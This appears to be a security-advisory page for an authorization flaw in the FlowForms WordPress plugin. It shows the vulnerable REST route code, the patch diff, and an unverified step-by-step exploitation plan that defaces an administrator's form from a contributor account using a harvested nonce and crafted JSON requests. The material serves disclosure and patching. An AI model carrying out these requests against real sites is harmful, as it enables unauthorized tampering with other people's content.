CVE-2026-12400

FlowForms <= 1.1.1 - Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Form Modification via REST API '/flowforms/v1/forms/{id}' Endpoints

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.1.2
Patched in
1d
Time to patch

Description

The FlowForms – Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.1.1 via the update_form due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with contributor-level access and above, to modify the content, design, and settings of, as well as publish or revert, any form on the site — including forms owned by administrators — by supplying an arbitrary form ID in the REST URL.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.1
PublishedJuly 9, 2026
Last updatedJuly 10, 2026
Affected pluginflowforms

What Changed in the Fix

Changes introduced in v1.1.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR) ## 1. Vulnerability Summary The **FlowForms** plugin (<= 1.1.1) is vulnerable to an **Authenticated Insecure Direct Object Reference (IDOR)** within its REST API. Specifically, the `/flowforms/v1/forms/{id}` endpoints (and sub-endpoints …

Show full research plan

Exploitation Research Plan: CVE-2026-12400 (FlowForms IDOR)

1. Vulnerability Summary

The FlowForms plugin (<= 1.1.1) is vulnerable to an Authenticated Insecure Direct Object Reference (IDOR) within its REST API. Specifically, the /flowforms/v1/forms/{id} endpoints (and sub-endpoints like /publish and /revert) fail to verify if the authenticated user has permission to modify the specific form identified by {id}. While the permission_callback checks for the edit_posts capability (allowing Contributors and above), it does not implement any ownership or granular authorization checks. This allows a Contributor-level user to modify, publish, or revert forms created by Administrators.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • POST/PUT /wp-json/flowforms/v1/forms/(?P<id>\d+) (Callback: update_form)
    • POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/publish (Callback: publish_form)
    • POST /wp-json/flowforms/v1/forms/(?P<id>\d+)/revert (Callback: revert_form)
  • Authentication Requirement: Authenticated user with edit_posts capability (Contributor, Author, Editor, or Admin).
  • Payload Parameter: The {id} in the REST URL is the primary vector. The request body for update_form typically contains form data (JSON).
  • Preconditions:
    • The attacker must have a valid account with at least Contributor permissions.
    • The attacker must know or guess the id of the target form (Forms are stored as a custom post type, likely flowforms).

3. Code Flow

  1. Registration: In includes/class-rest-api.php, the register_routes method defines the routes.
  2. Authorization: The permission_callback for the update/publish/revert routes is: fn() => current_user_can('edit_posts'). This returns true for any Contributor.
  3. Callback Execution: When a request hits /forms/{id}, the update_form($request) method is called.
  4. Processing: The method extracts the id from the request: $id = $request->get_param('id');.
  5. Sink: It then proceeds to update the post content or metadata using the provided $id without verifying if get_post($id)->post_author matches the current user.

4. Nonce Acquisition Strategy

Since this is a WordPress REST API exploit, the wp_rest nonce is required for any request using cookie authentication.

  1. Log in as the Contributor user using browser_navigate.
  2. Navigate to the WordPress Dashboard (/wp-admin/).
  3. Extract Nonce: Use browser_eval to extract the REST nonce from the global wpApiSettings object.
    • JavaScript: window.wpApiSettings?.nonce
  4. Usage: Include this nonce in the X-WP-Nonce header of all subsequent http_request calls.

5. Exploitation Strategy

This plan focuses on modifying an Admin's form using a Contributor account.

Step 1: Discover Target Form ID

The attacker can use the GET /wp-json/flowforms/v1/forms endpoint (also available to Contributors) to list all forms on the site and identify the ID of a form owned by an Admin.

Step 2: Perform the IDOR Update

Send a request to update the target form's content.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID}
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload (JSON):
    {
      "form_data": {
        "content": {
          "welcomeScreen": {
            "title": "Hacked by Contributor",
            "description": "Your form has been modified."
          }
        }
      }
    }
    

Step 3: Publish the Change

To make the change live, trigger the publish endpoint.

  • Method: POST
  • URL: http://localhost:8080/wp-json/flowforms/v1/forms/{TARGET_ID}/publish
  • Headers: X-WP-Nonce: [EXTRACTED_NONCE]

6. Test Data Setup

  1. Create Admin Form: Use WP-CLI to create a form owned by the Administrator.
    # Create the FlowForm post type (assuming the slug is 'flowforms')
    wp post create --post_type=flowforms --post_title="Admin Secret Form" --post_status=publish --post_author=1 --post_content='{"content":{"published":{"welcomeScreen":{"title":"Original Title"}}},"design":{},"settings":{}}'
    
  2. Identify Form ID: Note the ID of the created post.
  3. Create Contributor:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    

7. Expected Results

  • The update_form request should return a 200 OK response with the updated form object.
  • The publish_form request should return a 200 OK.
  • The form content in the database should now reflect the "Hacked by Contributor" payload.

8. Verification Steps

After the exploit, verify the change using WP-CLI:

# Check the post content of the Admin's form
wp post get {TARGET_ID} --field=post_content

If successful, the output will contain "title":"Hacked by Contributor".

9. Alternative Approaches

If the update_form logic requires a specific internal structure (checked via decode_slots and extract_design), the attacker can first perform a GET /wp-json/flowforms/v1/forms/{TARGET_ID} (as a Contributor) to obtain the existing structure, modify the JSON locally, and then send the POST request to update_form with the full modified object to ensure compatibility.

Research Findings
Static analysis — not yet PoC-verified

Summary

The FlowForms plugin for WordPress contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API endpoints. Authenticated users with Contributor-level permissions or higher can modify, publish, or revert any form on the site, regardless of ownership, because the API fails to verify if the user has permission to edit the specific form ID provided in the request.

Vulnerable Code

// includes/class-rest-api.php

    // Update form (builder auto-saves to draft slot)
    register_rest_route($ns, '/forms/(?P<id>\d+)', [
      'methods'  => WP_REST_Server::EDITABLE,
      'callback' => [$this, 'update_form'],
      'permission_callback' => fn() => current_user_can('edit_posts'),
    ]);

    // Update form design — writes directly to published slot (and draft if exists)
    register_rest_route($ns, '/forms/(?P<id>\d+)/design', [
      'methods'             => WP_REST_Server::EDITABLE,
      'callback'            => [$this, 'update_design'],
      'permission_callback' => fn() => current_user_can('edit_posts'),
    ]);

    // ... (lines 72-90 similar for /settings, /publish, and /revert)

Security Fix

--- a/includes/class-rest-api.php
+++ b/includes/class-rest-api.php
@@ -58,31 +58,41 @@
     register_rest_route($ns, '/forms/(?P<id>\d+)', [
       'methods'  => WP_REST_Server::EDITABLE,
       'callback' => [$this, 'update_form'],
-      'permission_callback' => fn() => current_user_can('edit_posts'),
+      'permission_callback' => function($request) {
+          return current_user_can('edit_post', $request['id']);
+      },
     ]);
 
     register_rest_route($ns, '/forms/(?P<id>\d+)/design', [
       'methods'             => WP_REST_Server::EDITABLE,
       'callback'            => [$this, 'update_design'],
-      'permission_callback' => fn() => current_user_can('edit_posts'),
+      'permission_callback' => function($request) {
+          return current_user_can('edit_post', $request['id']);
+      },
     ]);
 
     register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
       'methods'             => WP_REST_Server::EDITABLE,
       'callback'            => [$this, 'update_settings'],
-      'permission_callback' => fn() => current_user_can('edit_posts'),
+      'permission_callback' => function($request) {
+          return current_user_can('edit_post', $request['id']);
+      },
     ]);
 
     register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
       'methods'             => 'POST',
       'callback'            => [$this, 'publish_form'],
-      'permission_callback' => fn() => current_user_can('edit_posts'),
+      'permission_callback' => function($request) {
+          return current_user_can('edit_post', $request['id']);
+      },
     ]);
 
     register_rest_route($ns, '/forms/(?P<id>\d+)/revert', [
       'methods'             => 'POST',
       'callback'            => [$this, 'revert_form'],
-      'permission_callback' => fn() => current_user_can('edit_posts'),
+      'permission_callback' => function($request) {
+          return current_user_can('edit_post', $request['id']);
+      },
     ]);

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Contributor-level user and obtains a valid WordPress REST API nonce from the dashboard. The attacker then identifies the ID of a target form (such as one created by an Administrator) by listing forms via the `GET /wp-json/flowforms/v1/forms` endpoint. Finally, the attacker sends a POST or PUT request to `/wp-json/flowforms/v1/forms/{id}` (or its sub-endpoints like `/publish`) with a modified JSON payload in the `form_data` body. Because the plugin only checks if the user has the general `edit_posts` capability rather than checking ownership of the specific form ID, the server processes the unauthorized modification.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.